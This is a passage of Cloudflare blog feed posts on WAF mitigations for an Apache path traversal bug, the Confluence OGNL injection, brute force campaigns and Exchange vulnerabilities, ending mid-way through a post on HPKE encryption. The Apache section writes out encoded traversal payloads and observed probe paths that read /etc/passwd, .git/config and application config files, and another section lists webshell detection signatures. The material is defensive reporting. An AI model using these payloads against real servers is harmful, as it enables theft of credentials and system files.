href="https://www.cloudflare.com/waf/">Cloudflare Web Application Firewall</a> (WAF), receive additional protection by turning on the rules with the following IDs:</p><ul><li><p><code>1c3d3022129c48e9bb52e953fe8ceb2f</code> and <code>ca955959c4ab4b1f84f681a4d0a5c982</code> (for our new WAF)</p></li><li><p><code>100045</code> and <code>100045A</code> (for our legacy WAF)</p></li></ul><p>The rules can also be identified by the following descriptions:</p><p><code>Rule message: Anomaly:URL:Query String - Multiple Slashes, Relative Paths, CR, LF or NULL</code> and  <code>Anomaly:URL:Path - Multiple Slashes, Relative Paths, CR, LF or NULL</code></p><p>Given the nature of the vulnerability, attackers would normally try to access sensitive files (for example <code>/etc/passwd</code>), and as such, many other Cloudflare Managed Rule signatures are also effective at stopping exploit attempts depending on the file being accessed.</p>
    <div>
      <h3>How the vulnerability works</h3>
      <a href="#how-the-vulnerability-works">
        
      </a>
    </div>
    <p>The vulnerability leverages missing path normalization logic. If the Apache server is not configured with a <code>require all denied</code> directive for files outside the document root, attackers can craft special URLs to read any file on the file system accessible by the Apache process. Additionally, this flaw could also leak the source of interpreted files like CGI scripts and, in some cases, also allow the attacker to take over the web server <a href="https://twitter.com/hackerfantastic/status/1445523524555186189">by executing shell scripts</a>.</p><p>For example, the following path:</p><p><code>$hostname/cgi-bin/../../../etc/passwd</code></p><p>would allow the attacker to climb the directory tree (<code>../</code> indicates parent directory) outside of the web server document root and then subsequently access <code>/etc/passwd</code>.</p><p>Well implemented path normalization logic would correctly collapse the path into the shorter <code>$hostname/etc/passwd</code> by normalizing all <code>../</code> character sequences nullifying the attempt to climb up the directory tree.</p><p>Correct normalization is not easy as it also needs to take into consideration character encoding, such as percent encoded characters used in URLs. For example, the following path is equivalent to the first one provided:</p><p><code>$hostname/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd</code></p><p>as the characters <code>%2e</code> represent the percent encoded version of dot “.”. Not taking this properly into account was the cause of the vulnerability.</p><p><a href="https://packetstormsecurity.com/files/164418/Apache-HTTP-Server-2.4.49-Path-Traversal.html">The PoC for this vulnerability</a> is straightforward and simply relies on attempting to access sensitive files on vulnerable Apache web servers.</p>
    <div>
      <h3>Exploit Attempts</h3>
      <a href="#exploit-attempts">
        
      </a>
    </div>
    <p>Cloudflare has seen a sharp increase in attempts to exploit and find vulnerable servers since October 5.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3unCWyOkyS1rfz9HWAYZ1N/352ecc59a2408851147b33d5817dbe87/image2-14.png" />
            
            </figure><p>Most exploit attempts observed have been probing for static file paths — indicating heavy scanning activity before attackers (or researchers) may have attempted more sophisticated techniques that could lead to remote code execution. The most commonly attempted file paths are reported below:</p>
            <pre><code>/cgi-bin/.%2e/.git/config
/cgi-bin/.%2e/app/etc/local.xml
/cgi-bin/.%2e/app/etc/env.php
/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd</code></pre>
            
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Keeping web environments safe is not an easy task. Attackers will normally gain access and try to exploit vulnerabilities even before PoCs become widely available — we reported such a case not too long ago with <a href="/how-cloudflare-helped-mitigate-the-atlassian-confluence-ognl-vulnerability-before-the-poc-was-released/">Atlassian’s Confluence OGNL vulnerability</a>.</p><p>It is vital to employ all security measures available. Cloudflare features such as our <a href="https://developers.cloudflare.com/rules/normalization">URL normalization</a> and the <a href="https://www.cloudflare.com/waf/">WAF</a>, are easy to implement and can buy time to deploy any relevant patches offered by the affected software vendors.</p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Cloudflare Access]]></category>
            <guid isPermaLink="false">4qJNI3RuxC1XNGxF1xWA8r</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare helped mitigate the Atlassian Confluence OGNL vulnerability before the PoC was released]]></title>
            <link>https://blog.cloudflare.com/how-cloudflare-helped-mitigate-the-atlassian-confluence-ognl-vulnerability-before-the-poc-was-released/</link>
            <pubDate>Wed, 08 Sep 2021 09:18:01 GMT</pubDate>
            <description><![CDATA[ On August 25, 2021, Atlassian released a security advisory affecting their Confluence application. The Cloudflare WAF soon after started mitigating an increase in malicious traffic to vulnerable endpoints ensuring customers remained protected. ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2mZakMdvzmttpqYW08TAdV/f01b5134580405def4ca3f2e57705f76/image2-4.png" />
            
            </figure><p>On August 25, 2021, Atlassian released a <a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html">security advisory for their Confluence Server and Data Center</a>. The advisory highlighted an Object-Graph Navigation Language (OGNL) injection that would result in an unauthenticated attacker being able to execute arbitrary code.</p><p>A full proof of concept (PoC) of the attack <a href="https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md">was made available by a security researcher</a> on August 31, 2021. Cloudflare immediately reviewed the PoC and prepared a mitigation rule via an <a href="https://developers.cloudflare.com/waf/change-log/2021-09-01---emergency-release">emergency release</a>. The rule, once tested, was deployed on September 1, 2021, at 15:32 UTC with a default action of <code>BLOCK</code> and the following IDs:</p><ul><li><p><code>100400</code> (for our legacy WAF)</p></li><li><p><code>e8c550810618437c953cf3a969e0b97a</code> (for our <a href="/new-cloudflare-waf/">new WAF</a>)</p></li></ul><p>All customers using the <a href="https://www.cloudflare.com/waf/">Cloudflare WAF</a> to protect their self-hosted Confluence applications have automatically been protected since the new rule was deployed last week. Additionally, the Cloudflare WAF started blocking a high number of potentially malicious requests to Confluence applications even before the rule was deployed.</p><p>And customers who had deployed <a href="https://www.cloudflare.com/teams/access/">Cloudflare Access</a> in front of their Confluence applications were already protected even before the emergency release. Access checks every request made to a protected hostname for a JSON Web Token (<a href="https://developers.cloudflare.com/cloudflare-one/identity/users/validating-json">JWT</a>) containing a user’s identity. Any unauthenticated users attempting this exploit would have been blocked before they could reach the Confluence server.</p><p>Customers must, however, immediately update their self-hosted Confluence installations to the versions listed in <a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html">the advisory</a> to ensure full protection.</p><p>This vulnerability was assigned the <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-26084">CVE number 2021-26084</a> and has a base score of 9.8 — critical. A detailed technical write-up of the vulnerability along with the PoC can <a href="https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md">be found on GitHub</a>.</p>
    <div>
      <h3>Timeline of Events</h3>
      <a href="#timeline-of-events">
        
      </a>
    </div>
    <p>A timeline of events is provided below:</p><p>2021-08-25 at 17:00 UTC</p><p>Atlassian security advisory released</p><p>2021-08-28</p><p>Cloudflare WAF starts seeing and blocking malicious traffic targeting vulnerable endpoints related to the security advisory</p><p>2021-08-31 at 22:22 UTC</p><p>A PoC becomes widely available</p><p>2021-09-01 at 15:32 UTC</p><p>Additional Cloudflare WAF rule to target CVE-2021-26084</p>
    <div>
      <h3>How soon were attackers probing vulnerable endpoints?</h3>
      <a href="#how-soon-were-attackers-probing-vulnerable-endpoints">
        
      </a>
    </div>
    <p>High profile vulnerabilities tend to be exploited very quickly by attackers once a PoC or a patch becomes available. Cloudflare maintains aggregated and sampled data on WAF blocks<sup>1</sup> that can be used to explore how quickly vulnerable endpoints start receiving malicious traffic, highlighting the importance of deploying patches as quickly as possible.</p><p>Cloudflare data suggests that scanning for the vulnerability started up to three days before the first publicly available PoC was published, as high WAF activity was observed on vulnerable endpoints beginning August 28, 2021. This activity may indicate that attackers or researchers had successfully reverse engineered the patch within that time frame.</p><p>It also shows that, even without the specific WAF rule that we rolled out for this vulnerability, Cloudflare was blocking attempts to exploit it. Other WAF rules picked up the suspect behavior.</p><p>For this vulnerability, two endpoints are highlighted that can be used to explore attack traffic:</p><ul><li><p><code>/pages/doenterpagevariables.action</code></p></li><li><p><code>/pages/createpage-entervariables.action</code></p></li></ul><p>The following graph shows traffic matching Cloudflare’s WAF security feature from August 21 to September 5, 2021. Specifically:</p><ul><li><p>In blue: HTTP requests blocked by Cloudflare’s WAF matching the two chosen paths.</p></li><li><p>In red: HTTP requests blocked by Cloudflare’s WAF matching the two paths and the specific rule deployed to cover this vulnerability.</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6RB87PobsiApq5SVeqirt6/6be93975159cb4b52dadba4a859a6775/image1-3.png" />
            
            </figure><p>By looking at the data, an increase in activity can be seen starting from August 28, 2021 — far beyond normal Internet background noise levels. Additionally, more than 64% of the traffic increase was detected and blocked by the Cloudflare WAF as malicious on the day the PoC was available.</p>
    <div>
      <h3>What were attackers trying before a PoC was widely available?</h3>
      <a href="#what-were-attackers-trying-before-a-poc-was-widely-available">
        
      </a>
    </div>
    <p>Just before a PoC became widely available, an increasing number of requests were blocked by customer configured IP based rules, followed by our <a href="https://developers.cloudflare.com/waf/managed-rulesets">Managed Rulesets</a> and rate limiting. Most custom WAF rules and IP based rules are created by customers either in response to malicious activity in the WAF logs, or as a positive security model to lock down applications that should simply not have public access from the Internet.</p><p>We can zoom into the Managed WAF rule matches to explore what caused the WAF to trigger before the specific rule was deployed:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/YpZvSTgyiltDvG8yPZzG3/57ebcb98570bc12a041f80a43013fcac/image3-2.png" />
            
            </figure><p>Command injection based attacks were the most common vector attempted before a PoC was made widely available, indicating again that some attackers may have been at least partially aware of the nature of the vulnerability. These attacks are aimed at executing remote code on the target application servers and are often platform specific. Other attack types observed, in order of frequency were:</p><ul><li><p>Request Port Anomalies: these are HTTP requests to uncommon ports that are normally not exposed for HTTP traffic.</p></li><li><p>Fake Bot Signatures: these requests matched many of our rules aimed at detecting user agents spoofing themselves as popular bots such as Google, Yandex, Bing and others.</p></li><li><p>OWASP Inbound Anomaly Score Exceeded: these are requests that were flagged by our implementation of the <a href="https://owasp.org/www-project-modsecurity-core-rule-set/">OWASP ModSecurity Core Ruleset</a>. The OWASP ruleset is a score based system that scans requests for patterns of characters that normally identify malicious requests;</p></li><li><p>HTTP Request Anomalies: these requests triggered many of our HTTP based validation checks including but not limited to RFC compliance checks.</p></li></ul>
    <div>
      <h3>Conclusions</h3>
      <a href="#conclusions">
        
      </a>
    </div>
    <p>Patching zero-day attacks as quickly as possible is vital for security. No single approach can be 100% successful at mitigating intrusion attempts. By observing patterns and triggers for this specific CVE, it is clear that a layered approach is most effective for protecting critical infrastructure. Cloudflare data also implies that, at least in part, some attackers or researchers were aware of the nature of the vulnerability at least since August 28, 2021, three days before a PoC was made widely available.</p><p>...</p><p><sup>1</sup>The WAF block data consists of sampled matches of request fields including path, geography, rule ID, timestamp and other similar metadata.</p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Cloudflare Access]]></category>
            <guid isPermaLink="false">2liDofgLErPIdIgjAIV4A0</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Account Takeover Protection and WAF mitigations to help stop Global Brute Force Campaigns]]></title>
            <link>https://blog.cloudflare.com/patching-the-internet-against-global-brute-force-campaigns/</link>
            <pubDate>Thu, 01 Jul 2021 17:53:20 GMT</pubDate>
            <description><![CDATA[ Today, we are making our Account Takeover Protection capabilities available to all paid plans at no additional charge. ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3F39KwzghBsFpEWzc0k5mI/5cd517735e44c4af6347ad4cff12da51/image1.png" />
            
            </figure><p>Earlier today a cybersecurity advisory was published by international security agencies identifying widespread attacks against government and private sector targets worldwide. You can read the full <a href="https://www.nsa.gov/news-features/press-room/Article/2677750/nsa-partners-release-cybersecurity-advisory-on-brute-force-global-cyber-campaign/">report here</a>, which discusses widespread, distributed, and anonymized brute force access attempts since mid-2019 and still active through early 2021.</p><p>Today, we have rolled out <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAF</a> mitigations to protect our customers against these types of attacks.</p><p>And we are making the exposed credential check feature of <a href="https://www.cloudflare.com/zero-trust/solutions/account-takeover-prevention/">Account Takeover Protection</a> available to <a href="https://www.cloudflare.com/plans/">all paid plans</a> at no additional charge today. We had been planning to release these features later this month to a subset of our customers, but when we were informed of this ongoing attack we accelerated the release timeline and expanded those eligible to use the protections.</p><p>The attack which we are now protecting against was carried out in three main steps:</p><ol><li><p>Initial account compromise performed via brute force attacks against authentication endpoints;</p></li><li><p>Once access was gained, network traversal was performed leveraging several publicly known vulnerabilities, including but not limited to <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688">CVE 2020-0688</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144">CVE 2020-17144</a> that widely affected Microsoft Exchange Servers;</p></li><li><p>Deployment of remote shells, such as a variant of the <a href="https://github.com/xl7dev/WebShell/tree/master/reGeorg-master">reGeorg web shell</a>, and network reconnaissance to gather additional information;</p></li></ol>
    <div>
      <h2>Detecting Brute Force Login Attempts</h2>
      <a href="#detecting-brute-force-login-attempts">
        
      </a>
    </div>
    <p>The findings in the report highlight the increasing problem of password reuse and compromise that affects online applications, including government and large private sector online properties.</p><p>In March 2021, during Security Week, <a href="/account-takeover-protection/">we launched a beta program for a new feature called Exposed Credential Checks</a>. This feature allows website administrators to be notified whenever a login attempt is performed using a breached username and password credential pair. This is a very strong signal to enforce two factor authentication, a password reset, or simply increase user logging for the duration of the session.</p><p>Starting today, all paid plans (i.e., Pro and above) can enable the exposed credential check feature of Account Takeover Protection. We made the decision to give this to more customers due to the severity of the report and ongoing nature of the exploitation attempts.</p><p>While we work to accelerate the automatic deployment of the capability across these plans, you can file a support ticket with “Account Takeover Protections activation request” in the subject line to have it manually enabled today for your domains.</p><p>Customers who are not yet running the <a href="/new-cloudflare-waf/">new WAF announced during Security Week</a> will first be upgraded to this version; all accounts created after May 6, 2021, are already on the new version. The exposed credential managed ruleset can then be turned on with a single click, and supports the following applications out of the box:</p><ul><li><p>WordPress</p></li><li><p>Joomla</p></li><li><p>Drupal</p></li><li><p>Ghost</p></li><li><p>Magento</p></li><li><p>Plone</p></li><li><p>Microsoft Exchange</p></li></ul><p>When turned on, whenever a compromised credential is detected the following header will be added to the request to the origin server:</p>
            <pre><code>Exposed-Credential-Check: 1</code></pre>
            <p>This header alone won’t provide additional security, but can be used by the origin server to enforce additional measures, for example forcing a two factor authentication or password reset flow. The feature can also be deployed in logging mode to easily identify brute force attacks targeting your application using the Firewall Analytics dashboard.</p><p>If your application is not in the default set of protected applications, as long as your login endpoints conform to one of our generic rules, the feature will work as expected. We currently have two options:</p><ul><li><p>A JSON endpoint (<code>application/json</code>) that submits credentials with <code>'email'</code> and <code>'password'</code> keys, for example <code>{“email”:”user@example.com”, “password”:”pass”}</code></p></li><li><p>A standard login HTML form (<code>application/x-www-form-urlencoded</code>), under a URL that contains “login”. The form fields should be named <code>username</code> and <code>password</code> respectively;</p></li></ul><p>Developer documentation can <a href="https://developers.cloudflare.com/waf/exposed-credentials-check">be found here</a>.</p>
    <div>
      <h2>WAF Rule Update</h2>
      <a href="#waf-rule-update">
        
      </a>
    </div>
    <p>In addition to exposed credential checks, we have implemented improvements to the following WAF rules effective immediately:</p><ul><li><p>Improved rule <code>100197</code></p></li><li><p>Added a new rule <code>100197B</code> (default disabled)</p></li></ul><p>These rules will match against request payloads that contain the reGeorg shell variant mentioned in the report. The rule improvements were based on, but not limited to, the Yara rule found in the security advisory. In summary the rule will block payloads which contain the following signatures and similar variations:</p>
            <pre><code>%@ Page Language=C#
StrTr
System.Net.IPEndPoint
Response.AddHeader
Socket</code></pre>
            
    <div>
      <h2>Additional Mitigations</h2>
      <a href="#additional-mitigations">
        
      </a>
    </div>
    <p>In addition to monitoring and defending against credential stuffing attacks using datasets of compromised credentials, security administrators should implement additional best practices for their authentication endpoints. For example, multi-factor authentication, account time-out and lock-out features, and stronger methods of authentication that require “having” something such as a hard token or client certificate—not just “knowing” something such as a username and password.</p><p>Cloudflare has a number of additional features that customers are also advised to deploy where possible on their environments to strengthen their security posture:</p><ul><li><p><a href="https://www.cloudflare.com/teams/access/">Cloudflare Access</a> can be used to provide strong, multi-factor authentication for both internal and external facing applications, and integrates directly with your organization’s SSO and identity providers (IdP);</p></li><li><p>Where possible, implementing Mutual TLS rules (mTLS) in front of authentication endpoints will increase an application security posture considerably by avoiding the use of passwords. This can be done both <a href="https://developers.cloudflare.com/firewall/cf-dashboard/create-mtls-rule">as a Firewall Rule</a> or as an option when <a href="https://developers.cloudflare.com/cloudflare-one/identity/devices/mutual-tls-authentication">setting up Cloudflare Access</a>;</p></li><li><p>We recently announced a <a href="https://developers.cloudflare.com/firewall/cf-firewall-rules/rules-lists#managed-ip-lists-open-proxies">Managed IP list that will contain Open Proxy endpoints</a> identified by Cloudflare’s intelligence - this list can be used when creating Firewall Rules to protect authentication endpoints by issuing Captcha (or other) challenges;</p></li><li><p>The use of our Bot Management detection has recently been expanded to all self-serve paid plans via our <a href="/super-bot-fight-mode/">Super Bot Fight Mode product</a> - this product allows customers to set up rules to challenge/block automated traffic, such as bots attempting brute force attacks, while letting verified bots access Internet properties normally.</p></li></ul>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Brute force attacks are a prevalent and successful means to gain initial access to private networks, especially when applications require only username and password pairs for authentication. The <a href="https://www.nsa.gov/news-features/press-room/Article/2677750/nsa-partners-release-cybersecurity-advisory-on-brute-force-global-cyber-campaign/">report</a> released today reinforced the widespread use of these credential stuffing attacks to gain access and then pivot to additional sensitive resources and data using other vulnerabilities.</p><p>Cloudflare customers are protected against these automated attacks by two new WAF rules, and also through the exposed credential check feature of our Account Takeover Protection offering. We have made the exposed credential check feature available today, to all paid plans, in advance of our planned launch later this month. Reach out to our support team immediately if you would like this feature enabled as we work to turn it on for everyone.</p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Firewall]]></category>
            <category><![CDATA[Research]]></category>
            <guid isPermaLink="false">5gliYo3Njvyw8B5qyOg0ka</guid>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Protecting against recently disclosed Microsoft Exchange Server vulnerabilities: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065]]></title>
            <link>https://blog.cloudflare.com/protecting-against-microsoft-exchange-server-cves/</link>
            <pubDate>Sun, 07 Mar 2021 00:47:20 GMT</pubDate>
            <description><![CDATA[ Cloudflare has deployed managed rules protecting customers against a series of remotely exploitable vulnerabilities that were recently found in Microsoft Exchange Server.  ]]></description>
            <content:encoded><![CDATA[ <p><b>Enabling the Cloudflare WAF and Cloudflare Specials ruleset protects against exploitation of unpatched CVEs: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065.</b></p><p>Cloudflare has deployed managed rules protecting customers against a series of remotely exploitable vulnerabilities that were recently found in Microsoft Exchange Server. Web Application Firewall customers with the Cloudflare Specials ruleset enabled are automatically protected against <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855">CVE-2021-26855</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857">CVE-2021-26857</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858">CVE-2021-26858</a>, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065">CVE-2021-27065</a>.</p><p>If you are running Exchange Server 2013, 2016, or 2019, and do not have the Cloudflare Specials ruleset enabled, we strongly recommend that you do so. You should also follow Microsoft’s <a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">urgent recommendation to patch your on-premise systems immediately</a>. These vulnerabilities are actively being exploited in the wild by attackers to exfiltrate email inbox content and move laterally within organizations’ IT systems.</p>
    <div>
      <h2>Edge Mitigation</h2>
      <a href="#edge-mitigation">
        
      </a>
    </div>
    <p>If you are running the Cloudflare WAF and have enabled the Cloudflare Specials ruleset, there is nothing else you need to do. We have taken the <a href="https://developers.cloudflare.com/waf/change-log">unusual step of immediately deploying</a> these rules in “Block” mode given active attempted exploitation.</p><p>If you wish to <i>disable</i> the rules for any reason, e.g., you are experiencing a false positive mitigation, you can do so by following these instructions:</p><ol><li><p>Login to the Cloudflare Dashboard and click on the Cloudflare Firewall tab and then Managed Rules.</p></li><li><p>Click on the “Advanced” link at the bottom of the Cloudflare Managed Ruleset card and search for rule ID 100179. Select any appropriate action or disable the rule.</p></li><li><p>Repeat step #2 for rule ID 100181.</p></li></ol>
    <div>
      <h2>Server Side Mitigation</h2>
      <a href="#server-side-mitigation">
        
      </a>
    </div>
    <p>In addition to blocking attacks at the edge, we recommend that you follow Microsoft’s <a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">urgent recommendation to patch your on-premise systems immediately</a>. For those that are unable to immediately patch their systems, Microsoft posted yesterday with <a href="https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/">interim mitigations</a> that can be applied.</p><p>To determine whether your system is (still) exploitable, you can run an Nmap script posted by Microsoft to GitHub: <a href="https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse">https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse</a>.</p>
    <div>
      <h2>Vulnerability Details</h2>
      <a href="#vulnerability-details">
        
      </a>
    </div>
    <p>The attacks observed in the wild take advantage of multiple CVEs that can result in exfiltration of email inboxes and remote code execution when chained together. Security researchers at Volexity have <a href="https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/">published a detailed analysis</a> of the zero-day vulnerabilities.</p><p>Briefly, attackers are:</p><ol><li><p>First exploiting a server-side request forgery (SSRF) vulnerability documented as <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855">CVE-2021-26855</a> to send arbitrary HTTP requests and authenticate as the Microsoft Exchange server.</p></li><li><p>Using this SYSTEM-level authentication to send SOAP payloads that are insecurely deserialized by the Unified Messaging Service, as documented in <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857">CVE-2021-26857</a>. An example of the malicious SOAP payload can be found in the Volexity post linked above.</p></li><li><p>Additionally taking advantage of <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858">CVE-2021-26858</a> and <a href="http://cve-2021-27065">CVE-2021-27065</a> to upload arbitrary files such as webshells that allow further exploitation of the system along with a base to move laterally to other systems and networks. These file writes require authentication but this can be bypassed using <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855">CVE-2021-26855</a>.</p></li></ol><p>All 4 of the CVEs listed above are blocked by the recently deployed Cloudflare Specials rules: 100179 and 100181. Additionally, existing rule ID 100173, also enabled to Block by default, partially mitigates the vulnerability by blocking the upload of certain scripts.</p>
    <div>
      <h2>Additional Recommendations</h2>
      <a href="#additional-recommendations">
        
      </a>
    </div>
    <p>Organizations can deploy additional protections against this type of attack by adopting a Zero Trust model and making the Exchange server available only to trusted connections. The <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855">CVE guidance recommends</a> deploying a VPN or other solutions to block attempts to reach public endpoints. In addition to the edge mitigations from the Cloudflare WAF, your team can <a href="https://developers.cloudflare.com/cloudflare-one/tutorials">protect your Exchange server</a> by using Cloudflare for Teams to block all unauthorized requests.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <guid isPermaLink="false">34qp9CzZnVFqX8BoMZHA2V</guid>
            <dc:creator>Patrick R. Donahue</dc:creator>
            <dc:creator>Gabriel Gabor</dc:creator>
        </item>
        <item>
            <title><![CDATA[Using HPKE to Encrypt Request Payloads]]></title>
            <link>https://blog.cloudflare.com/using-hpke-to-encrypt-request-payloads/</link>
            <pubDate>Fri, 19 Feb 2021 12:00:00 GMT</pubDate>
            <description><![CDATA[ Allowing users to securely log parts of the request that match firewall rules while making it impossible for anyone else to decrypt. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>The Managed Rules team was recently given the task of allowing Enterprise users to <a href="/encrypt-waf-payloads-hpke/">debug Firewall Rules</a> by viewing the part of a request that matched the rule. This makes it easier to determine what specific attacks a rule is stopping or why a request was a false positive, and what possible refinements of a rule could improve it.</p><p>The fundamental problem, though, was how to securely store this debugging data as it may contain sensitive data such as personally identifiable information from submissions, cookies, and other parts of the request. We needed to store this data in such a way that <b>only</b> the user who is allowed to access it can do so. Even Cloudflare shouldn't be able to see the data, following our philosophy that any personally identifiable information that passes through our network is a <a href="/welcome-to-privacy-and-compliance-week/">toxic asset</a>.</p><p>This means we needed to encrypt the data in such a way that we can allow the user to decrypt it, but not Cloudflare. This means <a href="https://www.cloudflare.com/learning/ssl/how-does-public-key-encryption-work/">public key encryption</a>.</p><p>Now we needed to decide on which encryption algorithm to use. We came up with some questions to help us evaluate which one to use:</p><ul><li><p>What requirements do we have for the algorithm?</p></li><li><p>What language do we implement it in?</p></li><li><p>How do we make this as secure as possible for users?</p></li></ul><p>Here's how we made those decisions.</p>
    <div>
      <h3>Algorithm Requirements</h3>
      <a href="#algorithm-requirements">
        
      </a>
    </div>
    <p>While we knew we needed to use <a href="https://www.cloudflare.com/learning/ssl/how-does-public-key-encryption-work/">public key encryption</a>, we also needed to keep an eye on performance. This led us to select <a href="https://tools.ietf.org/html/draft-irtf-cfrg-hpke-06">Hybrid Public Key Encryption</a> (HPKE) early on as it has a best-of-both-worlds approach to using symmetric as well as public-key cryptography to increase performance. While these best-of-both-worlds schemes aren’t new [<a href="https://nacl.cr.yp.to/box.html">1</a>][<a href="https://github.com/google/tink">2</a>][<a href="https://age-encryption.org/">3</a>], HPKE aims to provide a single, future-proof, robust, interoperable combination of a general key encapsulation mechanism and a symmetric encryption algorithm.</p><p>HPKE is an emerging standard developed by the Crypto Forum Research Group (CFRG), the research body that supports the development of Internet standards at the <a href="http://ietf.org">IETF. The CFRG</a> produces specifications called RFCs (such as <a href="https://tools.ietf.org/html/rfc7748">RFC 7748</a> for elliptic curves) that are then used in higher level protocols including two we talked about previously: <a href="/oblivious-dns/">ODoH</a> and <a href="/encrypted-client-hello/">ECH</a>. Cloudflare has long been a supporter of Internet standards, so HPKE was a natural choice to use for this feature. Additionally, HPKE was co-authored by one of our colleagues at Cloudflare.</p>
    <div>
      <h3>How HPKE Works</h3>
      <a href="#how-hpke-works">
        
      </a>
    </div>
    <p>HPKE combines an asymmetric algorithm such as <a href="https://en.wikipedia.org/wiki/Elliptic-curve_Diffie%E2%80%93Hellman">elliptic curve Diffie-Hellman</a> and a symmetric cipher such as AES. One of the upsides of HPKE is that the algorithms aren't dictated to the implementer, but making a combination that’s <a href="https://en.wikipedia.org/wiki/Provable_security#In_cryptography">provably secure</a> and meets the developer’s intuitive notions of security is important. All too often developers reach for a scheme without carefully understanding what it does, resulting in security vulnerabilities.</p><p>HPKE solves these problems by providing a high level of security in a generic manner and providing necessary hooks to tie messages to the context in which they are generated. This is the application of decades of research into the correct security notions and schemes.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/d6wSZdRKA3sg9R7181Rc3/6f61f19999611103d51ee2f394caa00d/image2-13.png" />
            
            </figure><p>HPKE is built in stages. First it turns a Diffie-Hellman key agreement into a Key Encapsulation Mechanism. A key encapsulation mechanism has two algorithms: Encap and Decap. The Encap algorithm creates a symmetric secret and wraps it in a public key, so that only the holder of the private key can unwrap it. An attacker with the encapsulation cannot recover the random key. Decap takes the encapsulation and the private key associated to the public key, and computes the same random key. This translation gives HPKE the flexibility to work almost unchanged with any kind of public key encryption or key agreement algorithm.</p><p>HPKE mixes this key with an optional info argument, as well as information relating to the cryptographic parameters used by each side. This ensures that attackers cannot modify messages’ meaning by taking them out of context. A postcard marked “So happy to see you again soon” is ominous from the dentist and endearing from one’s grandmother.</p><p>The specification for HPKE is open and available on the <a href="https://tools.ietf.org/html/draft-irtf-cfrg-hpke-06">IETF website</a>. It is on its way to becoming an RFC after passing multiple rounds of review and analysis by cryptography experts at the CFRG. HPKE is already gaining adoption in IETF protocols like ODoH, ECH, and the new <a href="https://messaginglayersecurity.rocks/">Messaging Layer Security (MLS)</a> protocol. HPKE is also designed with the <a href="/securing-the-post-quantum-world/">post-quantum future</a> since it is built to work with any KEM, including <a href="https://csrc.nist.gov/News/2020/pqc-third-round-candidate-announcement">all the NIST finalists for post-quantum</a> public-key encryption.</p>
    <div>
      <h3>Implementation Language</h3>
      <a href="#implementation-language">
        
      </a>
    </div>
